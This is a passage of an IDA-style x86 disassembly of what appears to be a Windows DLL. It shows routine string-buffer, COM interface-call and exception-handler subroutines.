		call	sub_69B2E8B8
		jmp	short loc_69B885F9
; ---------------------------------------------------------------------------


loc_69B885D4:				; CODE XREF: sub_69B88597+Fj
		jz	short loc_69B885EB
		test	ecx, ecx
		jl	short loc_69B885C1
		cmp	ecx, 1
		jle	short loc_69B885F9
		cmp	ecx, 9
		jz	short loc_69B885EB
		cmp	ecx, 0Ah
		jnz	short loc_69B885C1
		jmp	short loc_69B885F9
; ---------------------------------------------------------------------------


loc_69B885EB:				; CODE XREF: sub_69B88597:loc_69B885D4j
					; sub_69B88597+4Bj
		mov	esi, [eax+8]
		jmp	short loc_69B885F9
; ---------------------------------------------------------------------------


loc_69B885F0:				; CODE XREF: sub_69B88597+17j
					; sub_69B88597+28j
		mov	eax, [eax+8]
		test	eax, eax
		jz	short loc_69B885F9
		mov	esi, [eax]


loc_69B885F9:				; CODE XREF: sub_69B88597+25j
					; sub_69B88597+2Fj ...
		mov	eax, esi
		pop	esi
		retn	8
sub_69B88597	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B885FF	proc near		; CODE XREF: sub_69B475B7+3Bp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		jmp	short loc_69B8860E
; ---------------------------------------------------------------------------


loc_69B88605:				; CODE XREF: sub_69B885FF+16j
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_69B88617
		xor	eax, eax


loc_69B8860E:				; CODE XREF: sub_69B885FF+4j
		mov	ax, [ecx]
		cmp	ax, 400Ch
		jz	short loc_69B88605


loc_69B88617:				; CODE XREF: sub_69B885FF+Bj
		and	ax, 0BFFFh
		retn	4
sub_69B885FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8861E	proc near		; CODE XREF: sub_69B21A88+5Bp
					; sub_69B21A88+72p ...

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		jnz	sub_69B2E8B8
		retn	4
sub_69B8861E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8862C	proc near		; CODE XREF: sub_69B70860+29p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jge	short loc_69B8863B
		push	esi
		call	sub_69B2E8B8


loc_69B8863B:				; CODE XREF: sub_69B8862C+7j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8862C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88641	proc near		; DATA XREF: .text:69B16C44o
		mov	eax, offset off_69B88648
		retn
sub_69B88641	endp

; ---------------------------------------------------------------------------
		align 4
off_69B88648	dd offset dword_69B18894 ; DATA	XREF: sub_69B88641o
		dd offset sub_69B6860C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B88650	proc near		; CODE XREF: .text:69B88752j
					; DATA XREF: .text:off_69B16C28o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFF0
		xor	eax, eax
		repe cmpsd
		pop	edi
		pop	esi
		jnz	short loc_69B88687
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		neg	ecx
		lea	edx, [eax+8]
		sbb	ecx, ecx
		and	ecx, edx
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B88687:				; CODE XREF: sub_69B88650+16j
		pop	ebp
		jmp	sub_69B2D67E
sub_69B88650	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8868D	proc near		; DATA XREF: .text:69B16C00o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	esi, [esp+4+arg_8]
		mov	eax, esi
		shr	eax, 1
		push	eax
		mov	eax, [esp+8+arg_0]
		mov	ecx, [eax+10h]
		push	0
		push	[esp+0Ch+arg_4]
		call	sub_69B88E3F
		mov	eax, [esp+4+arg_C]
		test	eax, eax
		jz	short loc_69B886B3
		mov	[eax], esi


loc_69B886B3:				; CODE XREF: sub_69B8868D+22j
		xor	eax, eax
		pop	esi
		retn	10h
sub_69B8868D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B886B9	proc near		; CODE XREF: sub_69B886D8+51p
		mov	eax, [ecx+10h]
		cmp	eax, [ecx+0Ch]
		jge	short loc_69B886D4
		lea	edx, [eax+1]
		mov	[ecx+10h], edx
		mov	ecx, [ecx+14h]
		push	eax
		call	sub_69B2EDBF
		movzx	eax, ax
		retn
; ---------------------------------------------------------------------------


loc_69B886D4:				; CODE XREF: sub_69B886B9+6j
		or	eax, 0FFFFFFFFh
		retn
sub_69B886B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B886D8	proc near		; DATA XREF: .text:69B16BFCo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		cmp	ecx, [eax+4]
		push	ebx
		jnz	short loc_69B886EC
		xor	eax, eax
		inc	eax
		jmp	short loc_69B886F6
; ---------------------------------------------------------------------------


loc_69B886EC:				; CODE XREF: sub_69B886D8+Dj
		mov	ebx, [ebp+arg_8]
		cmp	ebx, 4
		ja	short loc_69B886FE
		xor	eax, eax


loc_69B886F6:				; CODE XREF: sub_69B886D8+12j
		mov	ecx, [ebp+arg_C]
		and	dword ptr [ecx], 0
		jmp	short loc_69B88748
; ---------------------------------------------------------------------------


loc_69B886FE:				; CODE XREF: sub_69B886D8+1Aj
		push	esi
		xor	esi, esi
		shr	ebx, 1
		cmp	[eax+14h], esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_69B8871C
		mov	cx, ds:word_69B26230
		inc	esi
		mov	[edi], cx
		dec	ebx
		and	dword ptr [eax+14h], 0


loc_69B8871C:				; CODE XREF: sub_69B886D8+32j
		cmp	esi, ebx
		jnb	short loc_69B8873C
		add	eax, 0FFFFFFF8h
		mov	[ebp+arg_0], eax


loc_69B88726:				; CODE XREF: sub_69B886D8+62j
		mov	ecx, [ebp+arg_0]
		call	sub_69B886B9
		cmp	eax, 0FFFFFFFFh
		jz	short loc_69B8873C
		mov	[edi+esi*2], ax
		inc	esi
		cmp	esi, ebx
		jb	short loc_69B88726


loc_69B8873C:				; CODE XREF: sub_69B886D8+46j
					; sub_69B886D8+59j
		mov	ecx, [ebp+arg_C]
		lea	eax, [esi+esi]
		pop	edi
		mov	[ecx], eax
		xor	eax, eax
		pop	esi


loc_69B88748:				; CODE XREF: sub_69B886D8+24j
		pop	ebx
		pop	ebp
		retn	10h
sub_69B886D8	endp

; ---------------------------------------------------------------------------


loc_69B8874D:				; DATA XREF: .text:off_69B16BF0o
		sub	dword ptr [esp+4], 8
		jmp	sub_69B88650

; =============== S U B	R O U T	I N E =======================================



sub_69B88757	proc near		; DATA XREF: .text:69B16C5Co
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B88757	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88778	proc near		; DATA XREF: .text:69B16C34o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B88793
		test	[esp+4+arg_0], 1
		jz	short loc_69B8878D
		push	esi
		call	sub_69B1829F


loc_69B8878D:				; CODE XREF: sub_69B88778+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B88778	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88793	proc near		; CODE XREF: sub_69B88778+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B88793	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B887B0	proc near		; CODE XREF: sub_69B3F10D+19p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	20h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B887C8
		mov	ecx, eax
		call	sub_69B16BC8
		mov	esi, eax
		jmp	short loc_69B887CA
; ---------------------------------------------------------------------------


loc_69B887C8:				; CODE XREF: sub_69B887B0+Bj
		xor	esi, esi


loc_69B887CA:				; CODE XREF: sub_69B887B0+16j
		mov	edi, [esp+8+arg_0]
		push	edi
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		mov	eax, [edi+8]
		and	dword ptr [esi+10h], 0
		mov	[esi+0Ch], eax
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B887B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B887E9	proc near		; CODE XREF: sub_69B42B4C+6Dp
					; sub_69B46C54+21p ...

arg_0		= dword	ptr  4

		push	esi
		push	20h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B88800
		mov	ecx, eax
		call	sub_69B16BC8
		mov	esi, eax
		jmp	short loc_69B88802
; ---------------------------------------------------------------------------


loc_69B88800:				; CODE XREF: sub_69B887E9+Aj
		xor	esi, esi


loc_69B88802:				; CODE XREF: sub_69B887E9+15j
		push	[esp+4+arg_0]
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	4
sub_69B887E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88815	proc near		; DATA XREF: .text:69B14CB8o
		push	30h
		push	offset dword_69B888C8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B8883A
		mov	eax, 80004005h
		jmp	loc_69B888BB
; ---------------------------------------------------------------------------


loc_69B8883A:				; CODE XREF: sub_69B88815+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B552
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B88862
		mov	ebx, 80070057h
		jmp	short loc_69B888A0
; ---------------------------------------------------------------------------


loc_69B88862:				; CODE XREF: sub_69B88815+44j
		mov	[ebp-4], ebx
		mov	ecx, [esi+10h]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		lea	edx, [ebp-40h]
		push	edx
		call	dword ptr [eax+38h]
		mov	esi, eax
		movsd
		movsd
		movsd
		movsd
		jmp	short loc_69B8889C
; ---------------------------------------------------------------------------


loc_69B8887C:				; DATA XREF: .text:69B888CCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B88885:				; DATA XREF: .text:69B888D0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B8889C:				; CODE XREF: sub_69B88815+65j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B888A0:				; CODE XREF: sub_69B88815+4Bj
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B888BB:				; CODE XREF: sub_69B88815+20j
		call	sub_69B1853C
		retn	8
sub_69B88815	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B888C8	dd 0FFFFFFFFh			dd offset loc_69B8887C
		dd offset loc_69B88885

; =============== S U B	R O U T	I N E =======================================



sub_69B888D4	proc near		; DATA XREF: .text:69B14CC0o
		push	20h
		push	offset dword_69B88980
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B888F6
		mov	eax, 80004005h
		jmp	short loc_69B88974
; ---------------------------------------------------------------------------


loc_69B888F6:				; CODE XREF: sub_69B888D4+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B552
		cmp	[ebp+10h], edi
		jnz	short loc_69B88911
		mov	edi, 80070057h
		jmp	short loc_69B88961
; ---------------------------------------------------------------------------


loc_69B88911:				; CODE XREF: sub_69B888D4+34j
		mov	[ebp-4], edi
		mov	ecx, [esi+10h]
		mov	[ebp-2Ch], ecx
		mov	eax, [ecx]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		cmp	dword ptr [ebp+0Ch], 1
		setz	dl
		push	edx
		call	dword ptr [eax+3Ch]
		mov	ecx, [esi+10h]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		jmp	short loc_69B8895D
; ---------------------------------------------------------------------------


loc_69B8893D:				; DATA XREF: .text:69B88984o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B88946:				; DATA XREF: .text:69B88988o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B8895D:				; CODE XREF: sub_69B888D4+67j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B88961:				; CODE XREF: sub_69B888D4+3Bj
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B88974:				; CODE XREF: sub_69B888D4+20j
		call	sub_69B1853C
		retn	14h
sub_69B888D4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B88980	dd 0FFFFFFFFh			dd offset loc_69B8893D
		dd offset loc_69B88946

; =============== S U B	R O U T	I N E =======================================



sub_69B8898C	proc near		; DATA XREF: .text:69B14CCCo
		push	20h
		push	offset dword_69B88A30
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B889AE
		mov	eax, 80004005h
		jmp	short loc_69B88A26
; ---------------------------------------------------------------------------


loc_69B889AE:				; CODE XREF: sub_69B8898C+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B552
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		cmp	[ebp+0Ch], edi
		jnz	short loc_69B889D4
		mov	edi, 80070057h
		jmp	short loc_69B88A0B
; ---------------------------------------------------------------------------


loc_69B889D4:				; CODE XREF: sub_69B8898C+3Fj
		mov	[ebp-4], edi
		mov	ecx, [esi+10h]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+40h]
		jmp	short loc_69B88A07
; ---------------------------------------------------------------------------


loc_69B889E7:				; DATA XREF: .text:69B88A34o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B889F0:				; DATA XREF: .text:69B88A38o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B88A07:				; CODE XREF: sub_69B8898C+59j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B88A0B:				; CODE XREF: sub_69B8898C+46j
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B88A26:				; CODE XREF: sub_69B8898C+20j
		call	sub_69B1853C
		retn	8
sub_69B8898C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B88A30	dd 0FFFFFFFFh			dd offset loc_69B889E7
		dd offset loc_69B889F0

; =============== S U B	R O U T	I N E =======================================



sub_69B88A3C	proc near		; DATA XREF: .text:69B14D84o
		push	30h
		push	offset dword_69B88AF0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B88A61
		mov	eax, 80004005h
		jmp	loc_69B88AE2
; ---------------------------------------------------------------------------


loc_69B88A61:				; CODE XREF: sub_69B88A3C+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B552
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B88A89
		mov	ebx, 80070057h
		jmp	short loc_69B88AC7
; ---------------------------------------------------------------------------


loc_69B88A89:				; CODE XREF: sub_69B88A3C+44j
		mov	[ebp-4], ebx
		mov	ecx, [esi+10h]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		lea	edx, [ebp-40h]
		push	edx
		call	dword ptr [eax+38h]
		mov	esi, eax
		movsd
		movsd
		movsd
		movsd
		jmp	short loc_69B88AC3
; ---------------------------------------------------------------------------


loc_69B88AA3:				; DATA XREF: .text:69B88AF4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B88AAC:				; DATA XREF: .text:69B88AF8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B88AC3:				; CODE XREF: sub_69B88A3C+65j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B88AC7:				; CODE XREF: sub_69B88A3C+4Bj
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B88AE2:				; CODE XREF: sub_69B88A3C+20j
		call	sub_69B1853C
		retn	8
sub_69B88A3C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B88AF0	dd 0FFFFFFFFh			dd offset loc_69B88AA3
		dd offset loc_69B88AAC

; =============== S U B	R O U T	I N E =======================================



sub_69B88AFC	proc near		; DATA XREF: .text:69B14D8Co
		push	20h
		push	offset dword_69B88B98
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B88B1E
		mov	eax, 80004005h
		jmp	short loc_69B88B8E
; ---------------------------------------------------------------------------


loc_69B88B1E:				; CODE XREF: sub_69B88AFC+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B552
		cmp	[ebp+0Ch], edi
		jnz	short loc_69B88B39
		mov	edi, 80070057h
		jmp	short loc_69B88B7B
; ---------------------------------------------------------------------------


loc_69B88B39:				; CODE XREF: sub_69B88AFC+34j
		mov	[ebp-4], edi
		mov	ecx, [esi+10h]
		mov	[ebp-2Ch], ecx
		mov	eax, [ecx]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+3Ch]
		mov	ecx, [esi+10h]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		jmp	short loc_69B88B77
; ---------------------------------------------------------------------------


loc_69B88B57:				; DATA XREF: .text:69B88B9Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B88B60:				; DATA XREF: .text:69B88BA0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B88B77:				; CODE XREF: sub_69B88AFC+59j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B88B7B:				; CODE XREF: sub_69B88AFC+3Bj
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B88B8E:				; CODE XREF: sub_69B88AFC+20j
		call	sub_69B1853C
		retn	8
sub_69B88AFC	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B88B98	dd 0FFFFFFFFh			dd offset loc_69B88B57
		dd offset loc_69B88B60

; =============== S U B	R O U T	I N E =======================================



sub_69B88BA4	proc near		; DATA XREF: .text:69B14D90o
		push	24h
		push	offset dword_69B88C60
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B88BC9
		mov	eax, 80004005h
		jmp	loc_69B88C54
; ---------------------------------------------------------------------------


loc_69B88BC9:				; CODE XREF: sub_69B88BA4+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B552
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		cmp	[ebp+0Ch], edi
		jnz	short loc_69B88BEF
		mov	edi, 80070057h
		jmp	short loc_69B88C39
; ---------------------------------------------------------------------------


loc_69B88BEF:				; CODE XREF: sub_69B88BA4+42j
		mov	[ebp-4], edi
		mov	ecx, [esi+10h]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		cmp	dword ptr [ebp+10h], 1
		setz	dl
		push	edx
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+40h]
		mov	ecx, [esi+10h]
		mov	[ebp-34h], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		jmp	short loc_69B88C35
; ---------------------------------------------------------------------------


loc_69B88C15:				; DATA XREF: .text:69B88C64o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B88C1E:				; DATA XREF: .text:69B88C68o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B88C35:				; CODE XREF: sub_69B88BA4+6Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B88C39:				; CODE XREF: sub_69B88BA4+49j
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B88C54:				; CODE XREF: sub_69B88BA4+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B88BA4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B88C60	dd 0FFFFFFFFh			dd offset loc_69B88C15
		dd offset loc_69B88C1E

; =============== S U B	R O U T	I N E =======================================



sub_69B88C6C	proc near		; DATA XREF: .text:69B14D88o
		push	10h
		push	offset dword_69B88CC0
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		mov	ecx, [eax+10h]
		mov	[ebp-1Ch], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+48h]
		mov	[ebp-20h], eax
		jmp	short loc_69B88CAD
; ---------------------------------------------------------------------------


loc_69B88C8F:				; DATA XREF: .text:69B88CC4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B88C98:				; DATA XREF: .text:69B88CC8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B88CAD:				; CODE XREF: sub_69B88C6C+21j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	4
sub_69B88C6C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B88CC0	dd 0FFFFFFFFh			dd offset loc_69B88C8F
		dd offset loc_69B88C98

; =============== S U B	R O U T	I N E =======================================



sub_69B88CCC	proc near		; CODE XREF: sub_69B88D77-1248Cp
					; sub_69B768F4+14p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		lea	eax, [edi+edi+10h]
		push	eax
		mov	ebx, ecx
		call	sub_69B17EF3
		mov	esi, eax
		mov	ecx, esi
		mov	[esi+8], edi
		call	sub_69B19118
		push	esi
		add	ebx, 0Ch
		push	ebx
		mov	dword ptr [esi], offset	off_69B121D0
		call	sub_69B17320
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B88CCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88D01	proc near		; CODE XREF: sub_69B466EF+2Dp
		mov	eax, [ecx+0Ch]
		push	esi
		push	dword ptr [ecx+8] ; UINT
		add	eax, 0Ch
		push	eax		; OLECHAR *
		call	SysAllocStringLen
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B88D1D
		call	sub_69B2E87C


loc_69B88D1D:				; CODE XREF: sub_69B88D01+15j
		mov	eax, esi
		pop	esi
		retn
sub_69B88D01	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88D21	proc near		; CODE XREF: sub_69B88DA3:loc_69B88DC5p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		lea	eax, [esi+esi+10h]
		push	eax
		mov	ebp, ecx
		call	sub_69B17EF3
		mov	ebx, eax
		mov	ecx, ebx
		mov	[ebx+8], esi
		call	sub_69B19118
		mov	dword ptr [ebx], offset	off_69B121D0
		mov	ecx, [ebp+8]
		shl	ecx, 1
		mov	edx, ecx
		lea	eax, [ebp+0Ch]
		mov	esi, [eax]
		shr	ecx, 2
		add	esi, 0Ch
		lea	edi, [ebx+0Ch]
		rep movsd
		mov	ecx, edx
		push	ebx
		and	ecx, 3
		push	eax
		rep movsb
		call	sub_69B17320
		pop	edi
		pop	esi
		mov	byte ptr [ebp+10h], 0
		pop	ebp
		pop	ebx
		retn	4
sub_69B88D21	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88D77	proc near		; CODE XREF: sub_69B304F3+11p
					; sub_69B42B4C+62p ...

; FUNCTION CHUNK AT 69B768D9 SIZE 0000001B BYTES

		push	14h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B88D89
		mov	ecx, eax
		jmp	loc_69B768D9
; ---------------------------------------------------------------------------


loc_69B88D89:				; CODE XREF: sub_69B88D77+9j
		xor	eax, eax
		retn
sub_69B88D77	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88D8C	proc near		; CODE XREF: sub_69B166C0+48p
					; sub_69B46C54+10p ...
		push	14h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B88D9E
		mov	ecx, eax
		jmp	sub_69B768F4
; ---------------------------------------------------------------------------


loc_69B88D9E:				; CODE XREF: sub_69B88D8C+9j
		xor	eax, eax
		retn	4
sub_69B88D8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88DA3	proc near		; CODE XREF: sub_69B88E04+1Bp
					; sub_69B88E3F+Fp ...

arg_0		= dword	ptr  4

		mov	eax, [ecx+0Ch]
		mov	eax, [eax+8]
		mov	edx, [esp+arg_0]
		cmp	edx, eax
		jle	short loc_69B88DBE
		lea	eax, [eax+eax+2]
		cmp	edx, eax
		jge	short loc_69B88DBB
		mov	edx, eax


loc_69B88DBB:				; CODE XREF: sub_69B88DA3+14j
		push	edx
		jmp	short loc_69B88DC5
; ---------------------------------------------------------------------------


loc_69B88DBE:				; CODE XREF: sub_69B88DA3+Cj
		cmp	byte ptr [ecx+10h], 0
		jz	short locret_69B88DCA
		push	eax


loc_69B88DC5:				; CODE XREF: sub_69B88DA3+19j
		call	sub_69B88D21

locret_69B88DCA:			; CODE XREF: sub_69B88DA3+1Fj
		retn	4
sub_69B88DA3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88DCD	proc near		; DATA XREF: .text:69B1439Co
					; .text:69B166B4o
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+8], 0
		jz	short loc_69B88DFD
		push	14h
		mov	byte ptr [esi+10h], 1
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B88DF9
		mov	edx, [esi+0Ch]
		push	dword ptr [esi+8]
		lea	ecx, [edx+0Ch]
		push	ecx
		push	edx
		mov	ecx, eax
		call	sub_69B1F916
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B88DF9:				; CODE XREF: sub_69B88DCD+16j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B88DFD:				; CODE XREF: sub_69B88DCD+7j
		mov	eax, offset off_69B1A5AC
		pop	esi
		retn
sub_69B88DCD	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B88E04(LPCWSTR lpString)

sub_69B88E04	proc near		; CODE XREF: sub_69B61BB4+5Dp
					; sub_69B61BB4+75p ...

lpString	= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+lpString]
		push	edi
		push	esi		; lpString
		mov	ebx, ecx
		call	ds:lstrlenW	; lstrlenW
		mov	ebp, eax
		mov	eax, [ebx+8]
		add	eax, ebp
		push	eax
		mov	ecx, ebx
		call	sub_69B88DA3
		mov	eax, [ebx+8]
		mov	edx, [ebx+0Ch]
		mov	ecx, ebp
		lea	edi, [edx+eax*2+0Ch]
		rep movsw
		add	[ebx+8], ebp
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, ebx
		pop	ebx
		retn	4
